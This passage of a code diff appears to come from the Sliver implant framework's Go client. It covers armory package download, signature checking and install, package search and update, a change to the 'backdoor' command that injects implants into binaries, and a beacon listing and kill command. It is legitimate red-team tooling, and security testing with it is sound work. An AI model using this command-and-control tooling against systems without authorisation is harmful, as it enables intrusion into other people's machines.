var publicKey minisign.PublicKey
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
rawSig, _ := sig.MarshalText()
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
if !valid {
return errors.New("signature verification failed")
}
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
if err != nil {
return err
}
defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(tarGz)
if err != nil {
return err
}
tmpFile.Close()
con.Printf(console.Clearln + "\r") // Clear the line
installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
if installPath == nil {
return errors.New("failed to install alias")
}
_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), con)
if err != nil {
return err
}
return nil
}
func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
deps := make(map[string]struct{})
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
for dep := range deps {
if extensions.CmdExists(dep, con.App) {
continue // Dependency is already installed
}
err := installExtensionPackageByName(dep, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
return
}
}
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
return
}
}
const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return
}
if entry.Extension.DependsOn == "" {
return // Avoid adding empty dependency
}
if entry.Extension.DependsOn == name {
return // Avoid infinite loop of something that depends on itself
}
// We also need to look out for circular dependencies, so if we've already
// seen this dependency, we stop resolving
if _, ok := deps[entry.Extension.DependsOn]; ok {
return // Already resolved
}
if maxDepDepth < len(deps) {
return
}
deps[entry.Extension.DependsOn] = struct{}{}
resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con)
}
func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return errors.New("package not found")
}
repoURL, err := url.Parse(entry.RepoURL)
if err != nil {
return err
}
con.PrintInfof("Downloading extension ...")
var sig *minisign.Signature
var tarGz []byte
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
}
if err != nil {
return err
}
var publicKey minisign.PublicKey
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
rawSig, _ := sig.MarshalText()
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
if !valid {
return errors.New("signature verification failed")
}
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
if err != nil {
return err
}
defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(tarGz)
if err != nil {
return err
}
err = tmpFile.Sync()
if err != nil {
return err
}
con.Printf(console.Clearln + "\r") // Clear download message
installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
if installPath == nil {
return errors.New("failed to install extension")
}
extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
if err != nil {
return err
}
if extensions.CmdExists(extCmd.Name, con.App) {
con.App.Commands().Remove(extCmd.Name)
}
extensions.ExtensionRegisterCommand(extCmd, con)
return nil
}
+500
View File
@@ -0,0 +1,500 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"crypto/tls"
"encoding/base64"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"net"
"net/http"
"net/url"
"path"
"strings"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/server/cryptography/minisign"
)
// ArmoryIndexParser - Generic interface to fetch armory indexes
type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
// ArmoryPackageParser - Generic interface to fetch armory package manifests
type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
var (
indexParsers = map[string]ArmoryIndexParser{
"api.github.com": GithubAPIArmoryIndexParser,
}
pkgParsers = map[string]ArmoryPackageParser{
"api.github.com": GithubAPIArmoryPackageParser,
"github.com": GithubArmoryPackageParser,
}
)
const (
armoryIndexFileName = "armory.json"
armoryIndexSigFileName = "armory.minisig"
)
type armoryIndexResponse struct {
Minisig string `json:"minisig"` // Minisig (Base64)
ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
}
type armoryPkgResponse struct {
Minisig string `json:"minisig"` // Minisig (Base64)
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
}
//
// Default Parsers for Self-Hosted Armories
//
// DefaultArmoryParser - Parse the armory index directly from the url
func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
if err != nil {
return nil, err
}
client := httpClient(clientConfig)
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
req := &http.Request{
Method: http.MethodGet,
URL: repoURL,
Header: map[string][]string{},
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, errors.New("api returned non-200 status code")
}
indexResp := &armoryIndexResponse{}
err = json.Unmarshal(body, indexResp)
if err != nil {
return nil, err
}
armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
if err != nil {
return nil, err
}
armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
if err != nil {
return nil, err
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
if !valid {
return nil, errors.New("index has invalid signature")
}
armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
if err != nil {
return nil, err
}
err = json.Unmarshal(armoryIndexData, armoryIndex)
if err != nil {
return nil, err
}
return armoryIndex, nil
}
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
return nil, nil, err
}
req := &http.Request{
Method: http.MethodGet,
URL: repoURL,
Header: map[string][]string{},
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, nil, errors.New("api returned non-200 status code")
}
pkgResp := &armoryPkgResponse{}
err = json.Unmarshal(body, pkgResp)
if err != nil {
return nil, nil, err
}
sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
if err != nil {
return nil, nil, err
}
var tarGz []byte
if !sigOnly {
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, err
}
if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
return nil, nil, errors.New("invalid url scheme")
}
resp, err := client.Get(tarGzURL.String())
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
tarGz, err = ioutil.ReadAll(resp.Body)
if err != nil {
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, nil, errors.New("api returned non-200 status code")
}
}
return sig, tarGz, nil
}
//
// GitHub API Parsers
//
type GithubAsset struct {
ID int `json:"id"`
Name string `json:"name"`
URL string `json:"url"`
Size int `json:"size"`
BrowserDownloadURL string `json:"browser_download_url"`
}
type GithubRelease struct {
ID int `json:"id"`
Name string `json:"name"`
URL string `json:"url"`
HTMLURL string `json:"html_url"`
TagName string `json:"tag_name"`
Body string `json:"body"`
Prerelease bool `json:"prerelease"`
TarballURL string `json:"tarball_url"`
ZipballURL string `json:"zipball_url"`
CreatedAt string `json:"created_at"`
PublishedAt string `json:"published_at"`
Assets []GithubAsset `json:"assets"`
}
// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release
func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
if err != nil {
return nil, err
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode != http.StatusOK {
if resp.StatusCode == http.StatusForbidden {
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
}
return nil, errors.New("api returned non-200 status code")
}
releases := []GithubRelease{}
err = json.Unmarshal(body, &releases)
if err != nil {
return nil, err
}
if len(releases) < 1 {
return nil, errors.New("no releases found")
}
release := releases[0] // Latest only right now
var armoryIndexData []byte
var sigData []byte
for _, asset := range release.Assets {
if asset.Name == armoryIndexFileName {
resp, err := client.Get(asset.BrowserDownloadURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
armoryIndexData, err = ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
}
if asset.Name == armoryIndexSigFileName {
resp, err := client.Get(asset.BrowserDownloadURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
sigData, err = ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
}
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, armoryIndexData, sigData)
if !valid {
return nil, errors.New("invalid signature")
}
armoryIndex := &ArmoryIndex{}
err = json.Unmarshal(armoryIndexData, armoryIndex)
if err != nil {
return nil, err
}
return armoryIndex, nil
}
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryPkg.RepoURL)
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
if resp.StatusCode == http.StatusForbidden {
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
}
return nil, nil, errors.New("api returned non-200 status code")
}
releases := []GithubRelease{}
err = json.Unmarshal(body, &releases)
if err != nil {
return nil, nil, err
}
release := releases[0] // Latest only right now
var sig *minisign.Signature
var tarGz []byte
for _, asset := range release.Assets {
if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
var resp *http.Response
resp, err = client.Get(asset.BrowserDownloadURL)
if err != nil {
break
}
defer resp.Body.Close()
var body []byte
body, err = ioutil.ReadAll(resp.Body)
if err != nil {
break
}
sig, err = parsePkgMinsig(body)
if err != nil {
break
}
}
if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
var resp *http.Response
resp, err = client.Get(asset.BrowserDownloadURL)
if err != nil {
break
}
defer resp.Body.Close()
tarGz, err = ioutil.ReadAll(resp.Body)
if err != nil {
break
}
}
}
return sig, tarGz, err
}
//
// GitHub Parsers
//
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
sigURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
sigResp, err := client.Get(sigURL.String())
if err != nil {
return nil, nil, err
}
defer sigResp.Body.Close()
if sigResp.StatusCode != http.StatusOK {
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
}
var body []byte
body, err = ioutil.ReadAll(sigResp.Body)
if err != nil {
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
}
sig, err := parsePkgMinsig(body)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
}
var tarGz []byte
if !sigOnly {
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
tarGzResp, err := client.Get(tarGzURL.String())
if err != nil {
return nil, nil, err
}
defer tarGzResp.Body.Close()
if tarGzResp.StatusCode != http.StatusOK {
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
}
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
if err != nil {
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
}
}
return sig, tarGz, nil
}
// We need to intercept the 302 redirect to determine the latest version tag
func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) {
client := httpClient(clientConfig)
client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
}
latestURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return "", fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
latestURL.Path = path.Join(latestURL.Path, "releases", "latest")
latestRedirect, err := client.Get(latestURL.String())
if err != nil {
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
defer latestRedirect.Body.Close()
if latestRedirect.StatusCode != http.StatusFound {
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
}
if latestRedirect.Header.Get("Location") == "" {
return "", fmt.Errorf("no location header in response '%s'", armoryPkg.RepoURL)
}
latestLocationURL, err := url.Parse(latestRedirect.Header.Get("Location"))
if err != nil {
return "", fmt.Errorf("failed to parse location header '%s'->'%s': %s",
armoryPkg.RepoURL, latestRedirect.Header.Get("Location"), err)
}
pathSegments := strings.Split(latestLocationURL.Path, "/")
for index, segment := range pathSegments {
if segment == "tag" && index+1 < len(pathSegments) {
return pathSegments[index+1], nil
}
}
return "", errors.New("tag not found in location header")
}
func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
var sig minisign.Signature
err := sig.UnmarshalText(data)
if err != nil {
return nil, err
}
if len(sig.TrustedComment) < 1 {
return nil, errors.New("missing trusted comment")
}
return &sig, nil
}
func httpClient(config ArmoryHTTPConfig) *http.Client {
return &http.Client{
Timeout: config.Timeout,
Transport: &http.Transport{
Dial: (&net.Dialer{
Timeout: config.Timeout,
}).Dial,
IdleConnTimeout: time.Millisecond,
Proxy: http.ProxyURL(config.ProxyURL),
TLSHandshakeTimeout: config.Timeout,
TLSClientConfig: &tls.Config{
InsecureSkipVerify: config.DisableTLSValidation,
},
},
}
}
+65
View File
@@ -0,0 +1,65 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"regexp"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// ArmorySearchCmd - Search for packages by name
func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Refreshing package cache ... ")
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
con.Printf(console.Clearln + "\r")
rawNameExpr := ctx.Args.String("name")
if rawNameExpr == "" {
con.PrintErrorf("Please specify a search term!\n")
return
}
nameExpr, err := regexp.Compile(rawNameExpr)
if err != nil {
con.PrintErrorf("Invalid regular expression: %s\n", err)
return
}
aliases, exts := packagesInCache()
matchedAliases := []*alias.AliasManifest{}
for _, a := range aliases {
if nameExpr.MatchString(a.CommandName) {
matchedAliases = append(matchedAliases, a)
}
}
matchedExts := []*extensions.ExtensionManifest{}
for _, ext := range exts {
if nameExpr.MatchString(ext.CommandName) {
matchedExts = append(matchedExts, ext)
}
}
if len(matchedAliases) == 0 && len(matchedExts) == 0 {
con.PrintInfof("No packages found matching '%s'\n", rawNameExpr)
return
}
PrintArmoryPackages(matchedAliases, matchedExts, con)
}
+112
View File
@@ -0,0 +1,112 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// ArmoryUpdateCmd - Update all installed extensions/aliases
func ArmoryUpdateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Refreshing package cache ... ")
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
con.Printf(console.Clearln + "\r")
// Aliases
aliasUpdates := checkForAliasUpdates(clientConfig, con)
if 0 < len(aliasUpdates) {
con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
for _, aliasName := range aliasUpdates {
err := installAliasPackageByName(aliasName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
}
}
} else {
con.PrintInfof("All aliases up to date!\n")
}
// Extensions
extUpdates := checkForExtensionUpdates(clientConfig, con)
if 0 < len(extUpdates) {
con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
for _, extName := range extUpdates {
err := installExtensionPackageByName(extName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to update %s: %s\n", extName, err)
}
}
} else {
con.PrintInfof("All extensions up to date!\n")
}
}
func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
cachedAliases, _ := packagesInCache()
results := []string{}
for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
data, err := ioutil.ReadFile(aliasManifestPath)
if err != nil {
continue
}
localManifest, err := alias.ParseAliasManifest(data)
if err != nil {
continue
}
for _, latestAlias := range cachedAliases {
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
// the armory differs at all from the local version, the extension is out of date.
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
results = append(results, localManifest.CommandName)
}
}
}
return results
}
func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
_, cachedExtensions := packagesInCache()
results := []string{}
for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
data, err := ioutil.ReadFile(extManifestPath)
if err != nil {
continue
}
localManifest, err := extensions.ParseExtensionManifest(data)
if err != nil {
continue
}
for _, latestExt := range cachedExtensions {
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
// the armory differs at all from the local version, the extension is out of date.
if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version {
results = append(results, localManifest.CommandName)
}
}
}
return results
}
+2 -2
View File
@@ -29,7 +29,7 @@ import (
// BackdoorCmd - Command to inject implant code into an existing binary
func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -48,7 +48,7 @@ func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
FilePath: remoteFilePath,
ProfileName: profileName,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
+4
View File
@@ -0,0 +1,4 @@
Beacons
========
This package implements the beacons command, which can be used to list and interact with beacons.
+229
View File
@@ -0,0 +1,229 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"regexp"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/kill"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
)
// BeaconsCmd - Display/interact with beacons
func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
killFlag := ctx.Flags.String("kill")
killAll := ctx.Flags.Bool("kill-all")
// Handle kill
if killFlag != "" {
beacon, err := GetBeacon(con, killFlag)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
err = kill.KillBeacon(beacon, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Println()
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
}
if killAll {
beacons, err := GetBeacons(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
for _, beacon := range beacons.Beacons {
err = kill.KillBeacon(beacon, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Println()
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
}
}
filter := ctx.Flags.String("filter")
var filterRegex *regexp.Regexp
if ctx.Flags.String("filter-re") != "" {
var err error
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintBeacons(beacons.Beacons, filter, filterRegex, con)
}
// PrintBeacons - Display a list of beacons
func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
if len(beacons) == 0 {
con.PrintInfof("No beacons 🙁\n")
return
}
tw := renderBeacons(beacons, filter, filterRegex, con)
con.Printf("%s\n", tw.Render())
}
func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Tasks",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Next Check-in",
})
} else {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Username",
"Operating System",
"Last Check-in",
"Next Check-in",
})
}
for _, beacon := range beacons {
color := console.Normal
activeBeacon := con.ActiveTarget.GetBeacon()
if activeBeacon != nil && activeBeacon.ID == beacon.ID {
color = console.Green
}
nextCheckin := time.Unix(beacon.NextCheckin, 0)
nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
var next string
var interval string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
} else {
interval = time.Since(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
} else {
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
} else {
interval = time.Until(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
}
// We need a slice of strings so we can apply filters
var rowEntries []string
/*
Round the duration to the nearest second to be more output friendly.
We deal in seconds for everything, so it makes sense to show outputs
in seconds to remain consistent.
*/
timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
if con.Settings.SmallTermWidth < width {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
next,
}
} else {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
next,
}
}
// Build the row struct
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
// Apply filters if any
if filter == "" && filterRegex == nil {
tw.AppendRow(row)
} else {
for _, rowEntry := range rowEntries {
if filter != "" {
if strings.Contains(rowEntry, filter) {
tw.AppendRow(row)
break
}
}
if filterRegex != nil {
if filterRegex.MatchString(rowEntry) {
tw.AppendRow(row)
break
}
}
}
}
}
return tw
}
+128
View File
@@ -0,0 +1,128 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
var (
// ErrNoBeacons - No sessions available
ErrNoBeacons = errors.New("no beacons")
// ErrNoSelection - No selection made
ErrNoSelection = errors.New("no selection")
// ErrBeaconNotFound
ErrBeaconNotFound = errors.New("no beacon found for this ID")
)
// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
